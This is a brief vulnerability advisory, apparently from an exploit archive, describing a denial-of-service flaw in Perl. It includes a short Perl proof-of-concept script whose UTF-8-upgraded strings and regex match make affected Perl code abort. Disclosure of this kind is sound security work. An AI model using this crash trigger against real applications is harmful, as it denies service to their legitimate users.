source: https://www.securityfocus.com/bid/47006/info Perl is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause an application implemented with affected perl code to abort, denying service to legitimate users. #!/usr/bin/perl my @x = ("A=B","AAAA=/"); utf8::upgrade $_ for @x; $x[1] =~ s{/\s*$}{}; for (@x) { m{^([^=]+?)\s*=.+$}; }